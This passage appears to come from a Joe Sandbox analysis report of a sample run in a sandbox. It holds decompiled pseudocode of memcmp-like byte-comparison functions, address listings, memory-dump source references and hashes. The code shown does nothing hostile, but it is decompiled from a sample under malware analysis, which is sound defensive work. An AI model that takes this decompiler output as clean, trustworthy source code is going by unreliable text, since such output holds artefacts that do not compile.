										__eflags = _t231;
										if(_t231 != 0) {
											goto L1;
										}
										_t190 =  *(_t338 - 5);
										__eflags = _t190 -  *(_t292 - 5);
										if(_t190 ==  *(_t292 - 5)) {
											_t234 = 0;
											__eflags = 0;
											L77:
											_t231 = _t234;
											__eflags = _t231;
											if(_t231 == 0) {
												_t231 = ( *(_t338 - 1) & 0x000000ff) - ( *(_t292 - 1) & 0x000000ff);
												__eflags = _t231;
												if(__eflags != 0) {
													_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
												}
											}
											goto L1;
										}
										__eflags = (_t190 & 0x000000ff) - ( *(_t292 - 5) & 0x000000ff);
										if(__eflags == 0) {
											L70:
											_t297 = ( *(_t338 - 4) & 0x000000ff) - ( *(_t292 - 4) & 0x000000ff);
											__eflags = _t297;
											if(_t297 == 0) {
												L72:
												_t299 = ( *(_t338 - 3) & 0x000000ff) - ( *(_t292 - 3) & 0x000000ff);
												__eflags = _t299;
												if(_t299 == 0) {
													L74:
													_t234 = ( *(_t338 - 2) & 0x000000ff) - ( *(_t292 - 2) & 0x000000ff);
													__eflags = _t234;
													if(__eflags != 0) {
														_t234 = (0 | __eflags > 0x00000000) * 2 - 1;
													}
													goto L77;
												}
												__eflags = _t299;
												_t231 = (0 | _t299 > 0x00000000) * 2 - 1;
												__eflags = _t231;
												if(_t231 != 0) {
													goto L1;
												}
												goto L74;
											}
											__eflags = _t297;
											_t231 = (0 | _t297 > 0x00000000) * 2 - 1;
											__eflags = _t231;
											if(_t231 != 0) {
												goto L1;
											}
											goto L72;
										}
										_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
										__eflags = _t231;
										if(_t231 != 0) {
											goto L1;
										}
										goto L70;
									}
									_t302 = ( *(_t338 - 9) & 0x000000ff) - ( *(_t292 - 9) & 0x000000ff);
									__eflags = _t302;
									if(_t302 == 0) {
										L59:
										_t304 = ( *(_t338 - 8) & 0x000000ff) - ( *(_t292 - 8) & 0x000000ff);
										__eflags = _t304;
										if(_t304 == 0) {
											L61:
											__eflags = ( *(_t338 - 7) & 0x000000ff) - ( *(_t292 - 7) & 0x000000ff);
											if(__eflags == 0) {
												L63:
												_t231 = ( *(_t338 - 6) & 0x000000ff) - ( *(_t292 - 6) & 0x000000ff);
												__eflags = _t231;
												if(__eflags != 0) {
													_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
												}
												goto L66;
											}
											_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
											__eflags = _t231;
											if(_t231 != 0) {
												goto L1;
											}
											goto L63;
										}
										__eflags = _t304;
										_t231 = (0 | _t304 > 0x00000000) * 2 - 1;
										__eflags = _t231;
										if(_t231 != 0) {
											goto L1;
										}
										goto L61;
									}
									__eflags = _t302;
									_t231 = (0 | _t302 > 0x00000000) * 2 - 1;
									__eflags = _t231;
									if(_t231 != 0) {
										goto L1;
									}
									goto L59;
								}
								__eflags = (_t188 & 0x000000ff) - ( *(_t292 - 0xd) & 0x000000ff);
								if(__eflags == 0) {
									L48:
									_t311 = ( *(_t338 - 0xc) & 0x000000ff) - ( *(_t292 - 0xc) & 0x000000ff);
									__eflags = _t311;
									if(_t311 == 0) {
										L50:
										_t313 = ( *(_t338 - 0xb) & 0x000000ff) - ( *(_t292 - 0xb) & 0x000000ff);
										__eflags = _t313;
										if(_t313 == 0) {
											L52:
											_t233 = ( *(_t338 - 0xa) & 0x000000ff) - ( *(_t292 - 0xa) & 0x000000ff);
											__eflags = _t233;
											if(_t233 != 0) {
												__eflags = _t233;
												_t233 = (0 | _t233 > 0x00000000) * 2 - 1;
											}
											goto L55;
										}
										__eflags = _t313;
										_t231 = (0 | _t313 > 0x00000000) * 2 - 1;
										__eflags = _t231;
										if(_t231 != 0) {
											goto L1;
										}
										goto L52;
									}
									__eflags = _t311;
									_t231 = (0 | _t311 > 0x00000000) * 2 - 1;
									__eflags = _t231;
									if(_t231 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
								__eflags = _t231;
								if(_t231 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t316 = (_t187 & 0x000000ff) - ( *(_t292 - 0x11) & 0x000000ff);
							__eflags = _t316;
							if(_t316 == 0) {
								L37:
								_t318 = ( *(_t338 - 0x10) & 0x000000ff) - ( *(_t292 - 0x10) & 0x000000ff);
								__eflags = _t318;
								if(_t318 == 0) {
									L39:
									__eflags = ( *(_t338 - 0xf) & 0x000000ff) - ( *(_t292 - 0xf) & 0x000000ff);
									if(__eflags == 0) {
										L41:
										_t231 = ( *(_t338 - 0xe) & 0x000000ff) - ( *(_t292 - 0xe) & 0x000000ff);
										__eflags = _t231;
										if(_t231 != 0) {
											__eflags = _t231;
											_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
										}
										goto L44;
									}
									_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
									__eflags = _t231;
									if(_t231 != 0) {
										goto L1;
									}
									goto L41;
								}
								__eflags = _t318;
								_t231 = (0 | _t318 > 0x00000000) * 2 - 1;
								__eflags = _t231;
								if(_t231 != 0) {
									goto L1;
								}
								goto L39;
							}
							__eflags = _t316;
							_t231 = (0 | _t316 > 0x00000000) * 2 - 1;
							__eflags = _t231;
							if(_t231 != 0) {
								goto L1;
							}
							goto L37;
						}
						__eflags = (_t186 & 0x000000ff) - ( *(_t292 - 0x15) & 0x000000ff);
						if(__eflags == 0) {
							L26:
							__eflags = ( *(_t338 - 0x14) & 0x000000ff) - ( *(_t292 - 0x14) & 0x000000ff);
							if(__eflags == 0) {
								L28:
								_t327 = ( *(_t338 - 0x13) & 0x000000ff) - ( *(_t292 - 0x13) & 0x000000ff);
								__eflags = _t327;
								if(_t327 == 0) {
									L30:
									_t231 = ( *(_t338 - 0x12) & 0x000000ff) - ( *(_t292 - 0x12) & 0x000000ff);
									__eflags = _t231;
									if(__eflags != 0) {
										_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
									}
									goto L33;
								}
								__eflags = _t327;
								_t231 = (0 | _t327 > 0x00000000) * 2 - 1;
								__eflags = _t231;
								if(_t231 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
							__eflags = _t231;
							if(_t231 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
						__eflags = _t231;
						if(_t231 != 0) {
							goto L1;
						}
						goto L26;
					}
					__eflags = (_t185 & 0x000000ff) - ( *(_t292 - 0x19) & 0x000000ff);
					if(__eflags == 0) {
						L15:
						__eflags = ( *(_t338 - 0x18) & 0x000000ff) - ( *(_t292 - 0x18) & 0x000000ff);
						if(__eflags == 0) {
							L17:
							_t335 = ( *(_t338 - 0x17) & 0x000000ff) - ( *(_t292 - 0x17) & 0x000000ff);
							__eflags = _t335;
							if(_t335 == 0) {
								L19:
								_t231 = ( *(_t338 - 0x16) & 0x000000ff) - ( *(_t292 - 0x16) & 0x000000ff);
								__eflags = _t231;
								if(__eflags != 0) {
									_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
								}
								goto L22;
							}
							__eflags = _t335;
							_t231 = (0 | _t335 > 0x00000000) * 2 - 1;
							__eflags = _t231;
							if(_t231 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
						__eflags = _t231;
						if(_t231 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t231 = (0 | __eflags > 0x00000000) * 2 - 1;
					__eflags = _t231;
					if(_t231 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
					__eflags = __edi;
					if(__edi == 0) {
						L4:
						__edi =  *(__esi - 0x1c) & 0x000000ff;
						__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
						__eflags = __edi;
						if(__edi == 0) {
							L6:
							__edi =  *(__esi - 0x1b) & 0x000000ff;
							__edi = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L8:
								__ecx =  *(__esi - 0x1a) & 0x000000ff;
								__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
								__eflags = __ecx;
								if(__eflags != 0) {
									__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
								}
								goto L11;
							}
							__ecx = 0;
							__edi = __edi;
							0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L1;
							}
							goto L8;
						}
						__ecx = 0;
						__eflags = __edi;
						0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
						__ecx = (__edi > 0) * 2 - 1;
						__eflags = __ecx;
						if(__ecx != 0) {
							goto L1;
						}
						goto L6;
					}
					__ecx = 0;
					__eflags = __edi;
					__ecx = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 - 1;
					__eflags = __ecx;
					if(__ecx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t184 = _t231;
				return _t184;
			}

0x011537ed
0x011537ed
0x011537f3
0x0115386a
0x0115386c
0x0115386c
0x0115386c
0x0115386e
0x00000000
0x00000000
0x01153874
0x01153877
0x0115387a
0x01153901
0x01153901
0x01153903
0x01153903
0x01153905
0x00000000
0x00000000
0x0115390b
0x0115390e
0x01153911
0x01153998
0x01153998
0x0115399a
0x0115399a
0x0115399c
0x00000000
0x00000000
0x011539a2
0x011539a5
0x011539a8
0x01153a2f
0x01153a2f
0x01153a31
0x01153a31
0x01153a33
0x00000000
0x00000000
0x01153a39
0x01153a3c
0x01153a3f
0x01153ac6
0x01153ac6
0x01153ac8
0x01153ac8
0x01153ac8
0x01153aca
0x00000000
0x00000000
0x01153ad3
0x01153ad6
0x01153b5e
0x01153b5e
0x01153b60
0x01153b60
0x01153b62
0x00000000
0x00000000
0x01153b68
0x01153b6b
0x01153b6e
0x01153bf5
0x01153bf5
0x01153bf7
0x01153bf7
0x01153bf7
0x01153bf9
0x01153c07
0x01153c07
0x01153c09
0x01153c16
0x01153c16
0x01153c09
0x00000000
0x01153bf9
0x01153b7b
0x01153b7d
0x01153b95
0x01153b9d
0x01153b9d
0x01153b9f
0x01153bb7
0x01153bbf
0x01153bbf
0x01153bc1
0x01153bd9
0x01153be1
0x01153be1
0x01153be3
0x01153bec
0x01153bec
0x00000000
0x01153be3
0x01153bc5
0x01153bca
0x01153bd1
0x01153bd3
0x00000000
0x00000000
0x00000000
0x01153bd3
0x01153ba3
0x01153ba8
0x01153baf
0x01153bb1
0x00000000
0x00000000
0x00000000
0x01153bb1
0x01153b8d
0x01153b8d
0x01153b8f
0x00000000
0x00000000
0x00000000
0x01153b8f
0x01153ae4
0x01153ae4
0x01153ae6
0x01153afe
0x01153b06
0x01153b06
0x01153b08
0x01153b20
0x01153b28
0x01153b2a
0x01153b42
0x01153b4a
0x01153b4a
0x01153b4c
0x01153b55
0x01153b55
0x00000000
0x01153b4c
0x01153b3a
0x01153b3a
0x01153b3c
0x00000000
0x00000000
0x00000000
0x01153b3c
0x01153b0c
0x01153b11
0x01153b18
0x01153b1a
0x00000000
0x00000000
0x00000000
0x01153b1a
0x01153aea
0x01153af6
0x01153af6
0x01153af8
0x00000000
0x00000000
0x00000000
0x01153af8
0x01153a4c
0x01153a4e
0x01153a66
0x01153a6e
0x01153a6e
0x01153a70
0x01153a88
0x01153a90
0x01153a90
0x01153a92
0x01153aaa
0x01153ab2
0x01153ab2
0x01153ab4
0x01153ab8
0x01153abd
0x01153abd
0x00000000
0x01153ab4
0x01153a96
0x01153a9b
0x01153aa2
0x01153aa4
0x00000000
0x00000000
0x00000000
0x01153aa4
0x01153a74
0x01153a79
0x01153a80
0x01153a82
0x00000000
0x00000000
0x00000000
0x01153a82
0x01153a5e
0x01153a5e
0x01153a60
0x00000000
0x00000000
0x00000000
0x01153a60
0x011539b5
0x011539b5
0x011539b7
0x011539cf
0x011539d7
0x011539d7
0x011539d9
0x011539f1
0x011539f9
0x011539fb
0x01153a13
0x01153a1b
0x01153a1b
0x01153a1d
0x01153a21
0x01153a26
0x01153a26
0x00000000
0x01153a1d
0x01153a0b
0x01153a0b
0x01153a0d
0x00000000
0x00000000
0x00000000
0x01153a0d
0x011539dd
0x011539e9
0x011539e9
0x011539eb
0x00000000
0x00000000
0x00000000
0x011539eb
0x011539bb
0x011539c7
0x011539c7
0x011539c9
0x00000000
0x00000000
0x00000000
0x011539c9
0x0115391e
0x01153920
0x01153938
0x01153940
0x01153942
0x0115395a
0x01153962
0x01153962
0x01153964
0x0115397c
0x01153984
0x01153984
0x01153986
0x0115398f
0x0115398f
0x00000000
0x01153986
0x01153968
0x0115396d
0x01153974
0x01153976
0x00000000
0x00000000
0x00000000
0x01153976
0x0115394b
0x01153952
0x01153954
0x00000000
0x00000000
0x00000000
0x01153954
0x01153929
0x01153930
0x01153932
0x00000000
0x00000000
0x00000000
0x01153932
0x01153887
0x01153889
0x011538a1
0x011538a9
0x011538ab
0x011538c3
0x011538cb
0x011538cb
0x011538cd
0x011538e5
0x011538ed
0x011538ed
0x011538ef
0x011538f8
0x011538f8
0x00000000
0x011538ef
0x011538d1
0x011538dd
0x011538dd
0x011538df
0x00000000
0x00000000
0x00000000
0x011538df
0x011538b4
0x011538bb
0x011538bd
0x00000000
0x00000000
0x00000000
0x011538bd
0x01153899
0x01153899
0x0115389b
0x00000000
0x00000000
0x00000000
0x011537f5
0x011537f5
0x011537fc
0x011537fc
0x011537fe
0x01153812
0x01153812
0x0115381a
0x0115381a
0x0115381c
0x01153830
0x01153830
0x01153838
0x01153838
0x0115383a
0x0115384e
0x0115384e
0x01153856
0x01153856
0x01153858
0x01153861
0x01153861
0x00000000
0x01153858
0x0115383c
0x0115383e
0x01153843
0x0115384a
0x0115384a
0x0115384c
0x00000000
0x00000000
0x00000000
0x0115384c
0x0115381e
0x01153820
0x01153825
0x0115382c
0x0115382c
0x0115382e
0x00000000
0x00000000
0x00000000
0x0115382e
0x01153800
0x01153802
0x01153804
0x01153807
0x0115380e
0x01153810
0x00000000
0x00000000
0x00000000
0x01153810
0x011537e5
0x011537e6
0x011545d6

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1b6f440a2fd64e9793669a24fb4bb1eb7c50f2dfe4ceaa96100cd6fdac8824b
Instruction ID: 5d5172b411f9e5d24bbc2cb02f198573f0baca8d944b41ca78858001bac9db01
Opcode Fuzzy Hash: b1b6f440a2fd64e9793669a24fb4bb1eb7c50f2dfe4ceaa96100cd6fdac8824b
Instruction Fuzzy Hash: 21C160766150928AEFAE4A3D847543EFFA16A917F131A176ED8B3CB0C5FF20C124D620

Uniqueness

Uniqueness Score: -1.00%

Function 011533D5, Relevance: .3, Instructions: 324
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E011533D5(void* __edx, void* __esi) {
				signed char _t177;
				void* _t178;
				signed char _t179;
				signed char _t180;
				signed char _t181;
				signed char _t183;
				signed char _t184;
				void* _t228;
				void* _t229;
				void* _t230;
				void* _t231;
				void* _t298;
				void* _t301;
				void* _t305;
				void* _t310;
				void* _t327;
				void* _t337;
				void* _t341;
				void* _t343;
				void* _t350;
				void* _t355;
				void* _t359;
				void* _t364;
				void* _t376;
				void* _t382;
				void* _t384;
				void* _t389;
				void* _t392;
				void* _t397;
				void* _t403;
				void* _t405;
				void* _t407;
				void* _t409;
				void* _t412;
				void* _t417;
				void* _t419;
				void* _t425;
				void* _t430;

				_t355 = __esi;
				_t298 = __edx;
				_t177 =  *(__esi - 0x1c);
				if(_t177 ==  *(__edx - 0x1c)) {
					_t228 = 0;
					L10:
					if(_t228 != 0) {
						L78:
						_t178 = _t228;
						return _t178;
					}
					_t179 =  *(_t355 - 0x18);
					if(_t179 ==  *(_t298 - 0x18)) {
						_t228 = 0;
						L21:
						if(_t228 != 0) {
							goto L78;
						}
						_t180 =  *(_t355 - 0x14);
						if(_t180 ==  *(_t298 - 0x14)) {
							_t228 = 0;
							L32:
							if(_t228 != 0) {
								goto L78;
							}
							_t181 =  *(_t355 - 0x10);
							if(_t181 ==  *(_t298 - 0x10)) {
								_t229 = 0;
								L43:
								_t228 = _t229;
								if(_t228 != 0) {
									goto L78;
								}
								if( *(_t355 - 0xc) ==  *(_t298 - 0xc)) {
									_t230 = 0;
									L54:
									_t228 = _t230;
									if(_t228 != 0) {
										goto L78;
									}
									_t183 =  *(_t355 - 8);
									if(_t183 ==  *(_t298 - 8)) {
										_t231 = 0;
										L65:
										_t228 = _t231;
										if(_t228 != 0) {
											goto L78;
										}
										_t184 =  *(_t355 - 4);
										if(_t184 ==  *(_t298 - 4)) {
											_t228 = 0;
											L76:
											if(_t228 == 0) {
												_t228 = 0;
											}
											goto L78;
										}
										_t301 = (_t184 & 0x000000ff) - ( *(_t298 - 4) & 0x000000ff);
										if(_t301 == 0) {
											L69:
											_t425 = ( *(_t355 - 3) & 0x000000ff) - ( *(_t298 - 3) & 0x000000ff);
											if(_t425 == 0) {
												L71:
												_t305 = ( *(_t355 - 2) & 0x000000ff) - ( *(_t298 - 2) & 0x000000ff);
												if(_t305 == 0) {
													L73:
													_t228 = ( *(_t355 - 1) & 0x000000ff) - ( *(_t298 - 1) & 0x000000ff);
													_t430 = _t228;
													if(_t430 != 0) {
														_t228 = (0 | _t430 > 0x00000000) * 2 - 1;
													}
													goto L76;
												}
												_t228 = (0 | _t305 > 0x00000000) * 2 - 1;
												if(_t228 != 0) {
													goto L78;
												}
												goto L73;
											}
											_t228 = (0 | _t425 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L71;
										}
										_t228 = (0 | _t301 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L69;
									}
									_t412 = (_t183 & 0x000000ff) - ( *(_t298 - 8) & 0x000000ff);
									if(_t412 == 0) {
										L58:
										_t310 = ( *(_t355 - 7) & 0x000000ff) - ( *(_t298 - 7) & 0x000000ff);
										if(_t310 == 0) {
											L60:
											_t417 = ( *(_t355 - 6) & 0x000000ff) - ( *(_t298 - 6) & 0x000000ff);
											if(_t417 == 0) {
												L62:
												_t231 = ( *(_t355 - 5) & 0x000000ff) - ( *(_t298 - 5) & 0x000000ff);
												_t419 = _t231;
												if(_t419 != 0) {
													_t231 = (0 | _t419 > 0x00000000) * 2 - 1;
												}
												goto L65;
											}
											_t228 = (0 | _t417 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L62;
										}
										_t228 = (0 | _t310 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L60;
									}
									_t228 = (0 | _t412 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L58;
								}
								_t403 = ( *(_t355 - 0xc) & 0x000000ff) - ( *(_t298 - 0xc) & 0x000000ff);
								if(_t403 == 0) {
									L47:
									_t405 = ( *(_t355 - 0xb) & 0x000000ff) - ( *(_t298 - 0xb) & 0x000000ff);
									if(_t405 == 0) {
										L49:
										_t407 = ( *(_t355 - 0xa) & 0x000000ff) - ( *(_t298 - 0xa) & 0x000000ff);
										if(_t407 == 0) {
											L51:
											_t230 = ( *(_t355 - 9) & 0x000000ff) - ( *(_t298 - 9) & 0x000000ff);
											_t409 = _t230;
											if(_t409 != 0) {
												_t230 = (0 | _t409 > 0x00000000) * 2 - 1;
											}
											goto L54;
										}
										_t228 = (0 | _t407 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L51;
									}
									_t228 = (0 | _t405 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L49;
								}
								_t228 = (0 | _t403 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L47;
							}
							_t392 = (_t181 & 0x000000ff) - ( *(_t298 - 0x10) & 0x000000ff);
							if(_t392 == 0) {
								L36:
								_t327 = ( *(_t355 - 0xf) & 0x000000ff) - ( *(_t298 - 0xf) & 0x000000ff);
								if(_t327 == 0) {
									L38:
									_t397 = ( *(_t355 - 0xe) & 0x000000ff) - ( *(_t298 - 0xe) & 0x000000ff);
									if(_t397 == 0) {
										L40:
										_t229 = ( *(_t355 - 0xd) & 0x000000ff) - ( *(_t298 - 0xd) & 0x000000ff);
										if(_t229 != 0) {
											_t229 = (0 | _t229 > 0x00000000) * 2 - 1;
										}
										goto L43;
									}
									_t228 = (0 | _t397 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L40;
								}
								_t228 = (0 | _t327 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L38;
							}
							_t228 = (0 | _t392 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L36;
						}
						_t382 = (_t180 & 0x000000ff) - ( *(_t298 - 0x14) & 0x000000ff);
						if(_t382 == 0) {
							L25:
							_t384 = ( *(_t355 - 0x13) & 0x000000ff) - ( *(_t298 - 0x13) & 0x000000ff);
							if(_t384 == 0) {
								L27:
								_t337 = ( *(_t355 - 0x12) & 0x000000ff) - ( *(_t298 - 0x12) & 0x000000ff);
								if(_t337 == 0) {
									L29:
									_t228 = ( *(_t355 - 0x11) & 0x000000ff) - ( *(_t298 - 0x11) & 0x000000ff);
									_t389 = _t228;
									if(_t389 != 0) {
										_t228 = (0 | _t389 > 0x00000000) * 2 - 1;
									}
									goto L32;
								}
								_t228 = (0 | _t337 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L29;
							}
							_t228 = (0 | _t384 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L27;
						}
						_t228 = (0 | _t382 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L25;
					}
					_t341 = (_t179 & 0x000000ff) - ( *(_t298 - 0x18) & 0x000000ff);
					if(_t341 == 0) {
						L14:
						_t343 = ( *(_t355 - 0x17) & 0x000000ff) - ( *(_t298 - 0x17) & 0x000000ff);
						if(_t343 == 0) {
							L16:
							_t376 = ( *(_t355 - 0x16) & 0x000000ff) - ( *(_t298 - 0x16) & 0x000000ff);
							if(_t376 == 0) {
								L18:
								_t228 = ( *(_t355 - 0x15) & 0x000000ff) - ( *(_t298 - 0x15) & 0x000000ff);
								if(_t228 != 0) {
									_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
								}
								goto L21;
							}
							_t228 = (0 | _t376 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L18;
						}
						_t228 = (0 | _t343 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L16;
					}
					_t228 = (0 | _t341 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L14;
				}
				_t359 = (_t177 & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
				if(_t359 == 0) {
					L3:
					_t350 = ( *(_t355 - 0x1b) & 0x000000ff) - ( *(_t298 - 0x1b) & 0x000000ff);
					if(_t350 == 0) {
						L5:
						_t364 = ( *(_t355 - 0x1a) & 0x000000ff) - ( *(_t298 - 0x1a) & 0x000000ff);
						if(_t364 == 0) {
							L7:
							_t228 = ( *(_t355 - 0x19) & 0x000000ff) - ( *(_t298 - 0x19) & 0x000000ff);
							if(_t228 != 0) {
								_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
							}
							goto L10;
						}
						_t228 = (0 | _t364 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L7;
					}
					_t228 = (0 | _t350 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L5;
				}
				_t228 = (0 | _t359 > 0x00000000) * 2 - 1;
				if(_t228 != 0) {
					goto L78;
				}
				goto L3;
			}

0x011533d5
0x011533d5
0x011533d5
0x011533db
0x01153462
0x01153464
0x01153466
0x011537e5
0x011537e6
0x011545d6
0x011545d6
0x0115346c
0x01153472
0x011534f9
0x011534fb
0x011534fd
0x00000000
0x00000000
0x01153503
0x01153509
0x01153590
0x01153592
0x01153594
0x00000000
0x00000000
0x0115359a
0x011535a0
0x01153627
0x01153629
0x01153629
0x0115362b
0x00000000
0x00000000
0x01153637
0x011536bf
0x011536c1
0x011536c1
0x011536c3
0x00000000
0x00000000
0x011536c9
0x011536cf
0x01153756
0x01153758
0x01153758
0x0115375a
0x00000000
0x00000000
0x01153760
0x01153766
0x011537dd
0x011537df
0x011537e1
0x011537e3
0x011537e3
0x00000000
0x011537e1
0x0115376f
0x01153771
0x01153785
0x0115378d
0x0115378f
0x011537a3
0x011537ab
0x011537ad
0x011537c1
0x011537c9
0x011537c9
0x011537cb
0x011537d4
0x011537d4
0x00000000
0x011537cb
0x011537bd
0x011537bf
0x00000000
0x00000000
0x00000000
0x011537bf
0x0115379f
0x011537a1
0x00000000
0x00000000
0x00000000
0x011537a1
0x0115377a
0x01153783
0x00000000
0x00000000
0x00000000
0x01153783
0x011536dc
0x011536de
0x011536f6
0x011536fe
0x01153700
0x01153718
0x01153720
0x01153722
0x0115373a
0x01153742
0x01153742
0x01153744
0x0115374d
0x0115374d
0x00000000
0x01153744
0x0115372b
0x01153734
0x00000000
0x00000000
0x00000000
0x01153734
0x01153710
0x01153712
0x00000000
0x00000000
0x00000000
0x01153712
0x011536e7
0x011536f0
0x00000000
0x00000000
0x00000000
0x011536f0
0x01153645
0x01153647
0x0115365f
0x01153667
0x01153669
0x01153681
0x01153689
0x0115368b
0x011536a3
0x011536ab
0x011536ab
0x011536ad
0x011536b6
0x011536b6
0x00000000
0x011536ad
0x0115369b
0x0115369d
0x00000000
0x00000000
0x00000000
0x0115369d
0x01153679
0x0115367b
0x00000000
0x00000000
0x00000000
0x0115367b
0x01153650
0x01153659
0x00000000
0x00000000
0x00000000
0x01153659
0x011535ad
0x011535af
0x011535c7
0x011535cf
0x011535d1
0x011535e9
0x011535f1
0x011535f3
0x0115360b
0x01153613
0x01153615
0x0115361e
0x0115361e
0x00000000
0x01153615
0x01153603
0x01153605
0x00000000
0x00000000
0x00000000
0x01153605
0x011535e1
0x011535e3
0x00000000
0x00000000
0x00000000
0x011535e3
0x011535bf
0x011535c1
0x00000000
0x00000000
0x00000000
0x011535c1
0x01153516
0x01153518
0x01153530
0x01153538
0x0115353a
0x01153552
0x0115355a
0x0115355c
0x01153574
0x0115357c
0x0115357c
0x0115357e
0x01153587
0x01153587
0x00000000
0x0115357e
0x01153565
0x0115356e
0x00000000
0x00000000
0x00000000
0x0115356e
0x0115354a
0x0115354c
0x00000000
0x00000000
0x00000000
0x0115354c
0x01153528
0x0115352a
0x00000000
0x00000000
0x00000000
0x0115352a
0x0115347f
0x01153481
0x01153499
0x011534a1
0x011534a3
0x011534bb
0x011534c3
0x011534c5
0x011534dd
0x011534e5
0x011534e7
0x011534f0
0x011534f0
0x00000000
0x011534e7
0x011534d5
0x011534d7
0x00000000
0x00000000
0x00000000
0x011534d7
0x011534ac
0x011534b5
0x00000000
0x00000000
0x00000000
0x011534b5
0x01153491
0x01153493
0x00000000
0x00000000
0x00000000
0x01153493
0x011533e8
0x011533ea
0x01153402
0x0115340a
0x0115340c
0x01153424
0x0115342c
0x0115342e
0x01153446
0x0115344e
0x01153450
0x01153459
0x01153459
0x00000000
0x01153450
0x01153437
0x01153440
0x00000000
0x00000000
0x00000000
0x01153440
0x0115341c
0x0115341e
0x00000000
0x00000000
0x00000000
0x0115341e
0x011533f3
0x011533fc
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a76f6f9d3460914deaa8260f274f6f8ebb5f98baac8f0ed2f1342de8bbdbf2
Instruction ID: 8171f325227272825c4fd5ce3370478a6206b3512fa0af6f4c4f4febc10a232a
Opcode Fuzzy Hash: b3a76f6f9d3460914deaa8260f274f6f8ebb5f98baac8f0ed2f1342de8bbdbf2
Instruction Fuzzy Hash: 65B1507661509289EFAE4A3D853443EFFA17A917F131A176DD8B3CB1D5FF208224D620

Uniqueness

Uniqueness Score: -1.00%

Function 0115A181, Relevance: .2, Instructions: 207
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 97%

			E0115A181(char* _a4, intOrPtr _a8, unsigned int _a12) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				intOrPtr _v24;
